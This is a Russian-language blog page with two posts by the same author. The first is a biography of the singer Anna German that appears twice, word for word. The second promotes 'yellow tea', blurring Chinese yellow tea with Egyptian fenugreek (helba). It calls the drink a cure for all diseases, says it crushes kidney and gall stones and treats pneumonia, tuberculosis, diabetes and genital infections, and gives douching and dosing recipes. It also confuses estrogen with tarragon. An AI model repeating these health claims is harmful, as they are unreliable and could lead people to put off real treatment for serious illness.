Мария Пронина.,
06-05-2016 19:03
(ссылка)
1.Анна Герман.
Биография Анна Герман.
Анна Герман (польск. Anna German) - польская певица немецкого
происхождения, которая родилась и провела первые 10 лет жизни в СССР.
Герман исполняла песни в основном на польском и русском языках, также в
её репертуаре были песни на немецком, английском, итальянском,
испанском, латинском и монгольском языках. В 2016 году Анне Герман
исполнилось бы 80 лет.
Род Хёрманнов (в русском языке фамилия Хёрманн превратилась в
Герман) переселился в Российскую империю из Германии. Дед Анны Герман
Фридрих родился на территории современной Украины, учился в городе Лодзь
(ныне Польша, в то время - Россия), где родился отец Анны - Ойген
Хёрманн (в русифицированной форме Евгений Герман). После учебы Фридрих
Хёрманн вернулся на Украину с 9-ю детьми, однако в 1929 году был
раскулачен, репрессирован и вскоре погиб на лесоповале в районе Плесецка
(Архангельская область, Россия). Ойген Хёрманн переселился на Донбасс,
где устроился бухгалтером на шахту, начальство которой злоупотребляло
спиртным. Когда Ойген понял, что вина за растрату придется на него, а
учитывая, что его отец был репрессирован, а старший брат бежал в
Германию, дело могло кончиться расстрелом. Ойген принял решение бежать,
оставив жену и сына.
Ойген Хёрманн, отец Анны Герман
Судьба занесла его в Ургенч (Узбекистан), где он встретил Ирму
Мартенс, немку из меннонитов. Меннониты были потомками голландцев,
переселившихся в 16 веке в Германию, а в 18 веке прибывших в Россию по
приглашению Екатерины Второй. Ирма работала учителем немецкого языка,
который был для нее родным (в семье говорили немецко-платском диалекте).
Родители Анны Герман: Ирма Мартенс и Ойген Хёрманн
14 февраля 1936 году у Ирмы и Ойгена родилась дочь, которую назвали Анна-Виктория, а спустя год на свет появляется сын Фридрих.
Фото маленькой Анны Герман с родителями и бабушкой Анной Мартенс (также немкой)
Однако счастье пары было недолгим. Осенью 1937 года Ойген был
арестован, а в 1938 году расстрелян как "немецкий шпион и долголетний
вредитель". В 1957 году он был реабилитирован посмертно, о чем его
родственники получили справку лишь в 1975 году.
Через год после
ареста Ойгена умирает малыш Фридрих, после этого семья из Анны, её
матери и бабушки уезжает из Ургенча и начинает скитаться по разным
городам Советского Союза, в конечном итоге осев в Джамбуле (ныне Тараз,
Казахстан), где Ирма встречает польского офицера немецкого происхождения
Германа Бернера, за которого в 1942 году выходит замуж. Однако он
пропадает без вести на фронте в 1943 году.
После войны Ирма
принимает решение уехать в Польшу, где родились оба её мужа. В 1946 году
семья селится в Нова-Руде, в 1949 году переезжает во Вроцлав. Анне
Герман на момент переезда во Вроцлав 13 лет. Здесь она учится в лицее, а
после его окончания поступает во Вроцлавский университет на факультет
геологии. Выбор специальности был сделан по настоянию матери, которая
хотела, чтобы у дочери была практичная профессия. Изначально сама Анна
подумывала о поступлении в школу изящных искусств.
Фото Анны Герман-студентки с матерью:
Студенческий билет Анны Герман
Однако судьбе было угодно, чтобы Анна посвятила себя искусству, а
именно пению. Анна Герман в своей автобиографии "Вернись в Сорренто?"
описывает, что стала певицей совершенно случайно, в этом помогла её
подруга Янечка:
"Да, именно Янечка, моя сокурсница, жившая в
соседнем доме, с самого начала нашего знакомства (то есть с седьмого
класса) считала, что мое истинное призвание - петь. Не отрицаю, пела я
всегда охотно, когда бы и кто бы того ни пожелал: и на школьных, а
позднее и на студенческих торжествах, и дома для гостей. Впервые я
исполнила песенку, будучи еще малолеткой, на детском новогоднем
празднике, под огромной елкой. Моя мама тогда была учительницей
начальной школы, и в ее обязанности входила между прочим организация
детских праздников, спектаклей и т.д. Но никогда не думала я, что пение
станет моей профессией. Я пела исключительно для собственного
удовольствия, мне даже в голову не приходило, что к пению можно
относиться как-то иначе.
Тем временем Янечка, отнюдь не
принадлежавшая к числу смелых, так называемых пробивных людей,
отправилась однажды, без моего ведома, в дирекцию Вроцлавской эстрады и
попросила, чтобы меня прослушали. Получив обещание, она в назначенный
день привела меня туда силой (силой убеждения, разумеется, поскольку
была гораздо ниже меня), и я предстала пред художественным руководством.
Меня
включили в новую, только еще формировавшуюся программу. Мне была
гарантирована астрономическая, по моим тогдашним понятиям, сумма: четыре
тысячи злотых в месяц. Кажется, по сто злотых за каждое выступление.
Конечно
же, я была очень признательна Янечке, хотя недовольно бурчала всю
дорогу. Согласилась, естественно, без раздумий, ибо и "градобитие" со
сложными вычислениями отпало, и, что самое важное, мне предстояло
исполнить со сцены девять красивых мелодических песенок. Да вдобавок мне
за них еще и платили!
В концерте принимало участие
несколько певцов, четверо артистов балета, группа музыкантов и два
актера, которые все эти отдельные номера сплавляли в нечто целое: Ян
Скомпский в роли доблестного морехода Синдбада и Анджей Быховский в
роли-экипажа. В портах, куда заходил корабль, звучали песенки, танцевали
девушки, играла музыка - как это бывает в любом порту мира.
Поэтому
приходилось молниеносно сменять костюмы и петь (в зависимости от
страны) на испанском, итальянском, немецком, русском языках, а в
заключение, в родном порту, - на польском".
В 1960 году Анна встретила Збигнева Тухольского, который станет
её мужем. Тухольский в одном из интервью так вспоминает о первой встрече
с Анной:
- Мы познакомились, когда я работал в
Политехническом институте на кафедре металловедения. Однажды по работе
меня отправили во Вроцлав. Возвращаться оттуда я должен был в 16.30, а
так как управился быстрее и была хорошая погода, то я решил пойти
искупаться на городской пляж. Тут я увидел очень красивую блондинку,
которая читала книжку. Я попросил её посмотреть за моими вещами, пошёл
плавать, а потом мы разговорились. Оказалось, что студентка и изучает
геологию. Ей тогда было где-то 23 года, а я её на 6 лет старше. И уже
тогда она сказала, что время от времени принимает участие в разных
концертах.
— На что вы обратили внимание в первую очередь?
—
Классические греческие черты лица и, конечно, её прекрасная фигура —
она лежала и загорала в купальнике. Мы же всегда сначала обращаем
внимание на внешность человека, а уже потом начинаем узнавать душу и
характер...
Фотографии Анны Герман с мужем Збигневом Тухольским
Начиная с 1963 года Анна Герман становится призером различным
песенных конкурсов в Польше, а в 1967 году она стала первой польской
певицей, принявшей участие в знаменитом конкурсе песни в Сан-Ремо.
Анна Герман - Tańczące Eurydyki (Танцующие Эвридики) - первый хит певицы, принесший ей известность в 1964 году.
Анна Герман в Италии
В том же году участие в конкурсе впервые принимает французская певица Далида
с песней "Ciao amore ciao" своего возлюбленного Луиджи Тенко, который
после неуспеха песни покончил с собой. Спустя месяц после этого пыталась
покончить с собой и Далида.
Для Анны Герман 1967 год также стал
печальным, но не из-за того, что она не смогла победить в Сан-Ремо, а
из-за страшной аварии, в которую она попала в Италии полгода спустя.
Водитель, ведя машину на большой скорости, заснул за рулем и врезался в
бетонное ограждение. Анну выбросило из автомобиля через лобовое стекло,
она получила переломы позвоночника, руки, сотрясение мозга. Неделю она
не приходила в сознание, а узнать мать, которая спешно приехала к ней из
Польши, смогла лишь спустя 12 дней после аварии. Анне сделали операцию и
заковали в гипс. Этот период своей жизни Анна Герман вспоминает с
ужасом:
"После операции я очнулась закованная от шеи до пят в
гипсовый панцирь. Когда мне казалось, что больше не выдержу, задохнусь в
гипсе, когда я со слезами просила снять его с меня - под мою
ответственность, уверяя, что предпочитаю остаться кривобокой, чем
терпеть эти муки, они всегда напоминали мне о Сан-Ремо. Убеждали меня,
что я еще не раз выступлю там, а они будут ассистировать мне у
телевизоров, но... это может свершиться лишь в том случае, если в
будущем я стану абсолютно здоровая и... абсолютно прямая.
Я
не могу, да и не хочу описывать те ужасные страдания, какие довелось мне
испытать на протяжении пяти месяцев, когда я неподвижно лежала на
спине. Но самым жестоким испытанием явилась не боль переломов. Гипс
плотно обжимал мою грудную клетку, а вместимость моих легких довольно
основательная, разработанная пением, и я задыхалась в нем, теряла
сознание, металась, не могла спать. Ночью мама сидела у моей постели,
держа в своих руках мою правую, здоровую, руку. Она не спала тоже и в
тысячный раз по моей просьбе рассказывала мне об одном и том же - всякий
раз по-новому. ("Расскажи мне, как все будет, когда мне снимут гипс".)
Она нарисовала мне на картоне календарь, отмечая дни, оставшиеся до
моего отъезда в Польшу. Каждое утро она подавала мне ручку и я с
упоением вычеркивала очередную дату.
Мама очень опасалась
этого переезда и всячески упрашивала меня побыть здесь до того времени,
когда можно будет снять гипс, но я не соглашалась, надеясь, что польские
ортопеды освободят мне от него грудную клетку.
В течение
шести недель после операции я пила в день только несколько глотков
молока, не в силах съесть абсолютно ничего, поскольку каждый
проглоченный кусок еще больше затруднял мне дыхание".
"Мне
было известно, что снятие гипса еще не означает возможность двигаться.
Однако я не представляла, что еще в течение многих месяцев все останется
практически без изменений, что мне предстоят многомесячные тренировки
на специальном столе (приспособление для того, чтобы организм привыкал к
вертикальному положению), затем долго учиться сидеть и только после
всего этого учиться... ходить.
Тем временем я продолжала
беспомощно лежать на спине. Больница в Константине была уже шестой по
счету. У многих моих знакомых портится настроение при одном виде
больничного здания. В больнице, да еще так долго, как я, пребывать
отнюдь не весело, и самочувствие мое было неважным. Причин немало:
страдания вследствие сложных переломов, сотрясение мозга, длительная
потеря сознания, операция, гипс...
Все это ослабило нервную
систему. По вечерам меня охватывал страх, возраставший от бессилия,
неподвижности. Я боялась остаться в палате одна даже на минуту. В Италии
в такие моменты мама брала мою руку, напоминала мне факты, исчезнувшие
из затуманенной памяти, соединяла разрозненные фрагменты в единое целое,
помогала мне в моей отчаянной борьбе за восстановление образа реальной
действительности".
Анна Герман с матерью после аварии
Однако Анна Герман нашла в себе силы выздороветь и вернуться на
сцену. Это произошло в начале 1970 года, спустя 2,5 года после аварии.
В 1975 году Анна Герман родила сына, которого назвали так же, как и отца - Збигнев.
Анна Герман с сыном
Анна Герман была популярна не только в Польше, но и на своей
родине - в СССР, где она не раз выступала с гастролями. Советским её
поклонникам особенно полюбились песни «Надежда», «Когда цвели сады»,
«Эхо любви», «Случайность», «Гори, гори, моя звезда», «А он мне
нравится»
Анна Герман - Надежда
Анна Герман - Когда цвели сады
Анна Герман и Лев Лещенко - Эхо любви (Песня года - 1977)
Анна Герман - Случайность
Анна Герман - Гори, гори, моя звезда
Анна Герман - А он мне нравится
Анна Герман в своей книге писала: "Я была в СССР четырежды и
всякий раз убеждалась в необыкновенной музыкальности и отзывчивости
публики. Такой благодарной, душевной, отлично разбирающейся в музыке
публики я не встретила нигде. Ее нельзя обмануть. Она всегда сделает
верный выбор, самыми горячими аплодисментами наградит отнюдь не самую
эффектную, а именно хорошую песню. А на концертах реагируют и решают тут
же - ведь времени на размышления, повторного прослушивания нет".
11 декабря 1977 года состоялось историческое выступление Анны
Герман в финале фестиваля «Песня-77». После исполнения песни «Когда
цвели сады» зрители устроили столь бурную и продолжительную овацию, что
организаторам фестиваля пришлось выйти за жёсткие рамки телевизионного
эфира, и песня была исполнена «на бис» (редчайший случай в истории
«Песен года»).
В 1979 году в Алма-Ате певице внезапно становится плохо. Врачи
ставят ей страшный диагноз - альвеолярная мягкотканная саркома
(разновидность рака). Однако Герман продолжает гастроли, после которых
переносит несколько операций, которые не в силах остановить болезнь.
В последние полтора года перед смертью боли становятся
нестерпимыми. В письме, написанном московской подруге Анне Качалиной 27
февраля 1981 года, Анна Герман пишет: "Я страшно устала от боли,
даже не плачу, а хочется очень лежать и спокойствия. Даже песен не
жалко... потому что больно. Все стало неважным. Но, как только приходит
день, когда мне чуть легче, хочется петь".
Муж Анны Герман вспоминает, что Анна, принадлежавшая, как и он, к
Церкви адвентистов седьмого дня, говорила, что если Бог поможет ей
выздороветь, она будет петь только для него, и даже успела записать на
домашний магнитофон несколько псалмов.
Анна Герман умерла 26 августа 1982 года в военном госпитале в Варшаве.
В 2012 году, к 30-летию со дня смерти певицы, вышел российский
телесериал "Анна Герман. Тайна белого ангела", где главную роль сыграла
польская актриса Йоанна Моро. Сериал был показан, помимо России, на
Украине, в Беларуси и в Польше.
Анна Герман (польск. Anna German) - польская певица немецкого
происхождения, которая родилась и провела первые 10 лет жизни в СССР.
Герман исполняла песни в основном на польском и русском языках, также в
её репертуаре были песни на немецком, английском, итальянском,
испанском, латинском и монгольском языках. В 2016 году Анне Герман
исполнилось бы 80 лет.
Род Хёрманнов (в русском языке фамилия Хёрманн превратилась в
Герман) переселился в Российскую империю из Германии. Дед Анны Герман
Фридрих родился на территории современной Украины, учился в городе Лодзь
(ныне Польша, в то время - Россия), где родился отец Анны - Ойген
Хёрманн (в русифицированной форме Евгений Герман). После учебы Фридрих
Хёрманн вернулся на Украину с 9-ю детьми, однако в 1929 году был
раскулачен, репрессирован и вскоре погиб на лесоповале в районе Плесецка
(Архангельская область, Россия). Ойген Хёрманн переселился на Донбасс,
где устроился бухгалтером на шахту, начальство которой злоупотребляло
спиртным. Когда Ойген понял, что вина за растрату придется на него, а
учитывая, что его отец был репрессирован, а старший брат бежал в
Германию, дело могло кончиться расстрелом. Ойген принял решение бежать,
оставив жену и сына.
Ойген Хёрманн, отец Анны Герман
Судьба занесла его в Ургенч (Узбекистан), где он встретил Ирму
Мартенс, немку из меннонитов. Меннониты были потомками голландцев,
переселившихся в 16 веке в Германию, а в 18 веке прибывших в Россию по
приглашению Екатерины Второй. Ирма работала учителем немецкого языка,
который был для нее родным (в семье говорили немецко-платском диалекте).
Родители Анны Герман: Ирма Мартенс и Ойген Хёрманн
14 февраля 1936 году у Ирмы и Ойгена родилась дочь, которую назвали Анна-Виктория, а спустя год на свет появляется сын Фридрих.
Фото маленькой Анны Герман с родителями и бабушкой Анной Мартенс (также немкой)
Однако счастье пары было недолгим. Осенью 1937 года Ойген был
арестован, а в 1938 году расстрелян как "немецкий шпион и долголетний
вредитель". В 1957 году он был реабилитирован посмертно, о чем его
родственники получили справку лишь в 1975 году.
Через год после
ареста Ойгена умирает малыш Фридрих, после этого семья из Анны, её
матери и бабушки уезжает из Ургенча и начинает скитаться по разным
городам Советского Союза, в конечном итоге осев в Джамбуле (ныне Тараз,
Казахстан), где Ирма встречает польского офицера немецкого происхождения
Германа Бернера, за которого в 1942 году выходит замуж. Однако он
пропадает без вести на фронте в 1943 году.
После войны Ирма
принимает решение уехать в Польшу, где родились оба её мужа. В 1946 году
семья селится в Нова-Руде, в 1949 году переезжает во Вроцлав. Анне
Герман на момент переезда во Вроцлав 13 лет. Здесь она учится в лицее, а
после его окончания поступает во Вроцлавский университет на факультет
геологии. Выбор специальности был сделан по настоянию матери, которая
хотела, чтобы у дочери была практичная профессия. Изначально сама Анна
подумывала о поступлении в школу изящных искусств.
Фото Анны Герман-студентки с матерью:
Студенческий билет Анны Герман
Однако судьбе было угодно, чтобы Анна посвятила себя искусству, а
именно пению. Анна Герман в своей автобиографии "Вернись в Сорренто?"
описывает, что стала певицей совершенно случайно, в этом помогла её
подруга Янечка:
"Да, именно Янечка, моя сокурсница, жившая в
соседнем доме, с самого начала нашего знакомства (то есть с седьмого
класса) считала, что мое истинное призвание - петь. Не отрицаю, пела я
всегда охотно, когда бы и кто бы того ни пожелал: и на школьных, а
позднее и на студенческих торжествах, и дома для гостей. Впервые я
исполнила песенку, будучи еще малолеткой, на детском новогоднем
празднике, под огромной елкой. Моя мама тогда была учительницей
начальной школы, и в ее обязанности входила между прочим организация
детских праздников, спектаклей и т.д. Но никогда не думала я, что пение
станет моей профессией. Я пела исключительно для собственного
удовольствия, мне даже в голову не приходило, что к пению можно
относиться как-то иначе.
Тем временем Янечка, отнюдь не
принадлежавшая к числу смелых, так называемых пробивных людей,
отправилась однажды, без моего ведома, в дирекцию Вроцлавской эстрады и
попросила, чтобы меня прослушали. Получив обещание, она в назначенный
день привела меня туда силой (силой убеждения, разумеется, поскольку
была гораздо ниже меня), и я предстала пред художественным руководством.
Меня
включили в новую, только еще формировавшуюся программу. Мне была
гарантирована астрономическая, по моим тогдашним понятиям, сумма: четыре
тысячи злотых в месяц. Кажется, по сто злотых за каждое выступление.
Конечно
же, я была очень признательна Янечке, хотя недовольно бурчала всю
дорогу. Согласилась, естественно, без раздумий, ибо и "градобитие" со
сложными вычислениями отпало, и, что самое важное, мне предстояло
исполнить со сцены девять красивых мелодических песенок. Да вдобавок мне
за них еще и платили!
В концерте принимало участие
несколько певцов, четверо артистов балета, группа музыкантов и два
актера, которые все эти отдельные номера сплавляли в нечто целое: Ян
Скомпский в роли доблестного морехода Синдбада и Анджей Быховский в
роли-экипажа. В портах, куда заходил корабль, звучали песенки, танцевали
девушки, играла музыка - как это бывает в любом порту мира.
Поэтому
приходилось молниеносно сменять костюмы и петь (в зависимости от
страны) на испанском, итальянском, немецком, русском языках, а в
заключение, в родном порту, - на польском".
В 1960 году Анна встретила Збигнева Тухольского, который станет
её мужем. Тухольский в одном из интервью так вспоминает о первой встрече
с Анной:
- Мы познакомились, когда я работал в
Политехническом институте на кафедре металловедения. Однажды по работе
меня отправили во Вроцлав. Возвращаться оттуда я должен был в 16.30, а
так как управился быстрее и была хорошая погода, то я решил пойти
искупаться на городской пляж. Тут я увидел очень красивую блондинку,
которая читала книжку. Я попросил её посмотреть за моими вещами, пошёл
плавать, а потом мы разговорились. Оказалось, что студентка и изучает
геологию. Ей тогда было где-то 23 года, а я её на 6 лет старше. И уже
тогда она сказала, что время от времени принимает участие в разных
концертах.
— На что вы обратили внимание в первую очередь?
—
Классические греческие черты лица и, конечно, её прекрасная фигура —
она лежала и загорала в купальнике. Мы же всегда сначала обращаем
внимание на внешность человека, а уже потом начинаем узнавать душу и
характер...
Фотографии Анны Герман с мужем Збигневом Тухольским
Начиная с 1963 года Анна Герман становится призером различным
песенных конкурсов в Польше, а в 1967 году она стала первой польской
певицей, принявшей участие в знаменитом конкурсе песни в Сан-Ремо.
Анна Герман - Tańczące Eurydyki (Танцующие Эвридики) - первый хит певицы, принесший ей известность в 1964 году.
Анна Герман в Италии
В том же году участие в конкурсе впервые принимает французская певица Далида
с песней "Ciao amore ciao" своего возлюбленного Луиджи Тенко, который
после неуспеха песни покончил с собой. Спустя месяц после этого пыталась
покончить с собой и Далида.
Для Анны Герман 1967 год также стал
печальным, но не из-за того, что она не смогла победить в Сан-Ремо, а
из-за страшной аварии, в которую она попала в Италии полгода спустя.
Водитель, ведя машину на большой скорости, заснул за рулем и врезался в
бетонное ограждение. Анну выбросило из автомобиля через лобовое стекло,
она получила переломы позвоночника, руки, сотрясение мозга. Неделю она
не приходила в сознание, а узнать мать, которая спешно приехала к ней из
Польши, смогла лишь спустя 12 дней после аварии. Анне сделали операцию и
заковали в гипс. Этот период своей жизни Анна Герман вспоминает с
ужасом:
"После операции я очнулась закованная от шеи до пят в
гипсовый панцирь. Когда мне казалось, что больше не выдержу, задохнусь в
гипсе, когда я со слезами просила снять его с меня - под мою
ответственность, уверяя, что предпочитаю остаться кривобокой, чем
терпеть эти муки, они всегда напоминали мне о Сан-Ремо. Убеждали меня,
что я еще не раз выступлю там, а они будут ассистировать мне у
телевизоров, но... это может свершиться лишь в том случае, если в
будущем я стану абсолютно здоровая и... абсолютно прямая.
Я
не могу, да и не хочу описывать те ужасные страдания, какие довелось мне
испытать на протяжении пяти месяцев, когда я неподвижно лежала на
спине. Но самым жестоким испытанием явилась не боль переломов. Гипс
плотно обжимал мою грудную клетку, а вместимость моих легких довольно
основательная, разработанная пением, и я задыхалась в нем, теряла
сознание, металась, не могла спать. Ночью мама сидела у моей постели,
держа в своих руках мою правую, здоровую, руку. Она не спала тоже и в
тысячный раз по моей просьбе рассказывала мне об одном и том же - всякий
раз по-новому. ("Расскажи мне, как все будет, когда мне снимут гипс".)
Она нарисовала мне на картоне календарь, отмечая дни, оставшиеся до
моего отъезда в Польшу. Каждое утро она подавала мне ручку и я с
упоением вычеркивала очередную дату.
Мама очень опасалась
этого переезда и всячески упрашивала меня побыть здесь до того времени,
когда можно будет снять гипс, но я не соглашалась, надеясь, что польские
ортопеды освободят мне от него грудную клетку.
В течение
шести недель после операции я пила в день только несколько глотков
молока, не в силах съесть абсолютно ничего, поскольку каждый
проглоченный кусок еще больше затруднял мне дыхание".
"Мне
было известно, что снятие гипса еще не означает возможность двигаться.
Однако я не представляла, что еще в течение многих месяцев все останется
практически без изменений, что мне предстоят многомесячные тренировки
на специальном столе (приспособление для того, чтобы организм привыкал к
вертикальному положению), затем долго учиться сидеть и только после
всего этого учиться... ходить.
Тем временем я продолжала
беспомощно лежать на спине. Больница в Константине была уже шестой по
счету. У многих моих знакомых портится настроение при одном виде
больничного здания. В больнице, да еще так долго, как я, пребывать
отнюдь не весело, и самочувствие мое было неважным. Причин немало:
страдания вследствие сложных переломов, сотрясение мозга, длительная
потеря сознания, операция, гипс...
Все это ослабило нервную
систему. По вечерам меня охватывал страх, возраставший от бессилия,
неподвижности. Я боялась остаться в палате одна даже на минуту. В Италии
в такие моменты мама брала мою руку, напоминала мне факты, исчезнувшие
из затуманенной памяти, соединяла разрозненные фрагменты в единое целое,
помогала мне в моей отчаянной борьбе за восстановление образа реальной
действительности".
Анна Герман с матерью после аварии
Однако Анна Герман нашла в себе силы выздороветь и вернуться на
сцену. Это произошло в начале 1970 года, спустя 2,5 года после аварии.
В 1975 году Анна Герман родила сына, которого назвали так же, как и отца - Збигнев.
Анна Герман с сыном
Анна Герман была популярна не только в Польше, но и на своей
родине - в СССР, где она не раз выступала с гастролями. Советским её
поклонникам особенно полюбились песни «Надежда», «Когда цвели сады»,
«Эхо любви», «Случайность», «Гори, гори, моя звезда», «А он мне
нравится»
Анна Герман - Надежда
Анна Герман - Когда цвели сады
Анна Герман и Лев Лещенко - Эхо любви (Песня года - 1977)
Анна Герман - Случайность
Анна Герман - Гори, гори, моя звезда
Анна Герман - А он мне нравится
Анна Герман в своей книге писала: "Я была в СССР четырежды и
всякий раз убеждалась в необыкновенной музыкальности и отзывчивости
публики. Такой благодарной, душевной, отлично разбирающейся в музыке
публики я не встретила нигде. Ее нельзя обмануть. Она всегда сделает
верный выбор, самыми горячими аплодисментами наградит отнюдь не самую
эффектную, а именно хорошую песню. А на концертах реагируют и решают тут
же - ведь времени на размышления, повторного прослушивания нет".
11 декабря 1977 года состоялось историческое выступление Анны
Герман в финале фестиваля «Песня-77». После исполнения песни «Когда
цвели сады» зрители устроили столь бурную и продолжительную овацию, что
организаторам фестиваля пришлось выйти за жёсткие рамки телевизионного
эфира, и песня была исполнена «на бис» (редчайший случай в истории
«Песен года»).
В 1979 году в Алма-Ате певице внезапно становится плохо. Врачи
ставят ей страшный диагноз - альвеолярная мягкотканная саркома
(разновидность рака). Однако Герман продолжает гастроли, после которых
переносит несколько операций, которые не в силах остановить болезнь.
В последние полтора года перед смертью боли становятся
нестерпимыми. В письме, написанном московской подруге Анне Качалиной 27
февраля 1981 года, Анна Герман пишет: "Я страшно устала от боли,
даже не плачу, а хочется очень лежать и спокойствия. Даже песен не
жалко... потому что больно. Все стало неважным. Но, как только приходит
день, когда мне чуть легче, хочется петь".
Муж Анны Герман вспоминает, что Анна, принадлежавшая, как и он, к
Церкви адвентистов седьмого дня, говорила, что если Бог поможет ей
выздороветь, она будет петь только для него, и даже успела записать на
домашний магнитофон несколько псалмов.
Анна Герман умерла 26 августа 1982 года в военном госпитале в Варшаве.
В 2012 году, к 30-летию со дня смерти певицы, вышел российский
телесериал "Анна Герман. Тайна белого ангела", где главную роль сыграла
польская актриса Йоанна Моро. Сериал был показан, помимо России, на
Украине, в Беларуси и в Польше.
Метки: 9.
Мария Пронина.,
07-01-2016 19:02
(ссылка)
5.Жёлтый Чай!
5.Жёлтый Чай! Что такое Жёлтый Чай?
Еще не
так давно, всего-то меньше столетия назад
вывозить желтый чай за пределы Китая
запрещалось
законом,
и наказанием была смертная казнь.
Правители Поднебесной всегда умели разжечь
страсти
и совсем не хотели потерять право монопольного
производства
чая, но в отношении желтого чая
они старались напрасно.
Дело в
том, что сорт чайного куста, который
дает
те самые мясистые сочные листья и почки,
без
которых желтый чай просто невозможно сделать,
растет
только в Китае и то на ограниченной территории.
Так что монополию в этой области Китай
сохранил,
и в
связи с этим снял табу на экспорт желтого чая.
Китай и Япония славятся своей любовью к чаю,
но и отношение египтян к этому напитку удивляет не меньше.
На просторах Египта растут сотни сортов чая, местными
жителями разработано немало способов
их приготовления,
но самым необычным по праву
считается жёлтый чай.
Этот напиток прекрасно бодрит, он
полезный и очень вкусный. Большинство туристов, попробовав напиток, везут его
домой, чтобы угостить родных и близких.
Желтый египетский чай хельба приобрел в последнее время большую
популярность. Так уж на нас действуют заморские чудеса. Хельба – это же наш
родной пажитник.
Но тем не менее польза этого чая несомненна. И если для того, чтобы ее
получить, потребовалось примечание «из Египта»,
пусть себе будет. Лишь бы на
здоровье.
Еще одно очень красивое название хельбы – шамбала.
Сразу на ум приходят загадочные
истории о поисках
мифической тибетской страны.
В Египте хельбу используют не только для
приготовления напитка, но и готовят
различные блюда.
Кстати говоря, эти семена используют и в Китае, и в Индии,
и в других азиатских странах. С развитием
туризма этот чай появился и у нас в интернет-магазинах.
Если быть точным, то желтый
египетский чай хельба –
это не чай. Она не имеет никакого отношения к
чайным кустам. Но так уж повелось, что ее отвар
называют не просто чаем, а еще и
желтым. Но мы-то помним,
что желтый чай из Китая – это
совершенно другое.
Желтый чай – это молодые листья, с 1 по 3
от
верхней почки чайной ветки, немного
пропаренные,
слегка подсушенные и чуть ферментированные в
особых
условиях. Вот! В этих условиях и кроется тайна
желтого чая.
Когда листья стали достаточно мягкими и
эластичными, их немного скручивают вдоль
осевой жилки,
только руками, никаких машин. Надо сказать,
что
желтый чай, с момента сбора сырья и до
момента
фасовки обрабатывают вручную.
Итак, листик скрутили. После этого
небольшим слоем
листья расстилают в тени, на пергаменте или
плотной
ткани и ею же накрывают. И так чай томиться, пока
чайный мастер не решит, что чаинки
достигли
нужной степени ферментации.
Тут все очень индивидуально, зависит от
сорта чайного
куста, от состояния листьев, погоды и т.п.,
секреты
передаются только от мастера к мастеру и
оттачиваются
годами (вероятно, разглашение секретов
мастера тоже
каралось чем-то ужасным). После томления
чайный
листья просушивают под солнцем или в тени, что
тоже влияет на вкус и аромат конечного
продукта.
По виду сухой желтый чай почти не отличим
от зеленого,
а,
если чай сделан из типсов (цветочных почек), то его
сложно отличить от белого. Но вот когда плеснуть в
чашку с заваркой горячей воды… сразу станет
ясно, кто
есть кто.
Настой желтого чая яркий, желтый или
оранжевый,
прозрачный, с выраженным приятным ароматом,
мягким,
немного терпким вкусом. Но, самая
отличительная
черта – поведение чаинок в чашке
(заварнике).
Только чаинки желтого чая «совершают
танец»:
сначала поднимаются горизонтально к
поверхности воды,
затем опускаются, опять
поднимаются…загляденье!
На что похож желтый египетский чай
хельба?
хельба?
Это
бобовое растение с мелкими плодами, размером с гречку. Имеет запах специй,
немного напоминает ваниль, слегка
отдает
шоколадом.
Чем полезен желтый чай?
Отличается
желтый чай и своим влиянием на организм. Он практически лишен активного теина
(аналог кофеина),
зато
имеет комплекс веществ, которые помогают очистить
печень
и восстановить гепатоциты (клетки печени),
кроме
того, он содержит комплекс активных соединений,
которые косвенно добавляют зрению остроты, а
суставам – гибкости.
Что можно лечить Жёлтым
Чаем?
Чаем?
Целебная сила жёлтого чая известна всему миру. Напиток можно сопоставить с
лекарствами планетарного масштаба.
С его помощью сбивается высокая
температура,
лечится бронхит, пневмония, простуда и ангина.
Настой из листьев используется в качестве антисептика,
им можно полоскать горло при
ларингите или ангине, его используют как примочку и пр.
Для женщин жёлтый чай – не заменимое средство при
недостатке грудного молока, также им
делают
спринцевание при лечении
инфекционных заболеваний женских половых органов. Приём напитка внутрь выводит
шлаки из кишечника, нейтрализует токсины. Напиток рекомендован при язвах,
гастритах и прочих заболеваниях желудочно-кишечного тракта.
Нужно приготовить мочегонное средство? Густой отвар жёлтого чая – то, что
нужно. С помощью напитка дробятся камни
в почках и желчном пузыре. Жёлтый чай заслуженно получил название
универсального лекарства от всех болезней. Главное – правильно пользоваться
средством. Благодаря уникальным свойствам, напиток стал популярным, и получил
несколько названий: шамбала, чаман, верблюжья трава, пажитник сенной, греческое
сено и пр.
И ещё о целебной силе
Жёлтого Чая?
Жёлтого Чая?
Ещё Гиппократ подчеркнул огромный лечебный потенциал пажитника. В древности
настоем семени этого растения врачи лечили любые недуги. Современные учёные не
удивлены благотворным действием напитка на организм, ведь в семенах пажитника
много белков и углеводов. Обнаружен и комплекс полезных микроэлементов, в числе
которых фосфор, кальций, магний, железо и калий. Не обделён жёлтый чай и
жизненно необходимыми витаминами (А, С, РР, В1, В2), а также фолиевой кислотой.
Благотворное действие при лечении женских заболеваний обусловлено
содержанием диосгенина – компонента, действие и содержание которого схоже с
эстрагоном (женским половым гормоном). Для лечения методом спринцевания
готовится
настой: 2 столовые ложки семян
завариваются 1 стаканом
кипятка. Для увеличения притока
молока к настою следует добавить ложку натурального мёда. Для продуктивного
лечения в сутки следует выпивать до
4-х стаканов.
Жёлтый чай помогает также при лечении диабета, артритов, избавляет от болей
при менструации, исключает проблемы с почками.
Польза желтого
египетского чая хельба?
египетского чая хельба?
Это отличный согревающий напиток, поэтому очень подходит для зимних
холодов.
Наша народная медицина рекомендует пажитник как отличное отхаркивающее
средство. При сухом кашле тоже поможет пажитник, но отвар следует смешать с
молоком.
Семена пажитника сенного обладают свойством снимать желудочные
спазмы, очищать желудочно-кишечный тракт. Это свойство используют египтяне для
помощи нашим туристам,
чьи желудки плохо восприняли местную кухню.
Очень облегчит жизнь язвенников, так как покрывает защитной слизистой
пленкой стенки желудка и кишечника.
Снижает холестерин.
Снижает уровень сахара в крови. Для этой цели две чайные
ложки семян замочите вечером в
стакане воды, а утром
добавьте отвар стевии и выпейте полученную смесь.
Обладает способностью усиливать половое влечение.
Выпивайте раз в день чашку горячего молока с
размешанными в нем двумя чайными ложками
измельченной хельбы.
Обязательный совет в таких случаях. Совет врача не
будет лишним. Все же речь идет о здоровье.
Как лечиться жёлтым чаем?
При проблемах с бронхами, заболевании туберкулёзом и при хроническом кашле
употребляется настой,
приготовленный из 2-х ложек хорошо вымытых семян,
залитых 250 мл. горячей воды. В
напиток добавляется
2 чайные ложки мёда. Состав варится
10 минут.
Принимать его нужно 3-4 раза в день
по 125 мл.
